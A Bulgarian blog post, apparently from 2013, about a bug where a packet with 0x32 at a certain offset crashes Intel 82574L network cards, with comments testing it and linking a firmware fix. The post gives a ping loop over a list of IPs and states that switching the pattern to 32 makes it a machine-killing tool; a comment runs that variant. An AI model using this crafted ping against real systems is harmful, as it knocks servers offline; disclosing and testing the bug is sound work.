2013-02-07 crash в intel-ски мрежови карти

by Vasil Kolev

Тоя проблем бие по малоумност голяма част от нещата, които съм виждал в последната година.

Kristofer Kielhofner е намерил гаден проблем в Intel 82574L мрежовите карти, който с пакет, в който на специфична позиция пише 0x32 просто crash-ва картата (бъгове в power management-а вероятно), в internet storm center-а има по-съкратена информация.

(това е мрежовата карта по доста от сървърните дъна от последните години)

Решението, което аз виждам (и което вече пуснах) изглежда така:

for i in `cat list-of-ips`; do  do ping -i .001 -c 128 -p 34 -s 1110  $i ; done

(броя пакети съм си го харесал да е толкова, може и да няма нужда от толкова много)
(съответно, смяната на 34 с 32 го прави tool за трепане на машини)

Проблемът не се задейства винаги, вероятно има и разлики при различни firmware-и на разните мрежови карти (ще ми е интересно някой дали е успял да го reproduce-не и в какви условия), но вероятно е добра идея човек да е подготвен.

Update: до тук аз поне не съм успял да го reproduce-на (както и при някои други хора), та може да е сравнително изолиран проблем.
Update 2: Press release от intel по въпроса.

Tags: ,

3 Responses to “2013-02-07 crash в intel-ски мрежови карти”

  1. HeCTaHa Says:

    root@bootcamp:~# for i in {0..1}; do ping -i .001 -c 128 -p 32 -s 1110 192.168.
    — 192.168.0.100 ping statistics —
    128 packets transmitted, 128 received, 0% packet loss, time 490ms
    rtt min/avg/max/mdev = 2.707/3.748/8.229/1.276 ms
    PATTERN: 0x32
    PING 192.168.0.101 (192.168.0.101) 1110(1138) bytes of data.

    — 192.168.0.101 ping statistics —
    128 packets transmitted, 128 received, 0% packet loss, time 330ms
    rtt min/avg/max/mdev = 1.840/2.480/8.610/1.143 ms
    root@bootcamp:~# for i in {0..1}; do ping -i .001 -c 128 -p 32 -s 1110 192.168.
    — 192.168.0.100 ping statistics —
    128 packets transmitted, 128 received, 0% packet loss, time 508ms
    rtt min/avg/max/mdev = 2.783/3.770/10.551/1.358 ms, pipe 2
    PATTERN: 0x32
    PING 192.168.0.101 (192.168.0.101) 1110(1138) bytes of data.

    — 192.168.0.101 ping statistics —
    128 packets transmitted, 128 received, 0% packet loss, time 315ms
    rtt min/avg/max/mdev = 1.807/2.380/5.682/0.951 ms
    root@bootcamp:~#

  2. Vasil Kolev Says:

    @HeCTaHa, ethtool -e | grep 0x0010 и ethtool -i на тия карти какво дават?

  3. todor Says:

    http://sourceforge.net/projects/e1000/files/e1000e%20stable/eeprom_fix_82574_or_82583/

Leave a Reply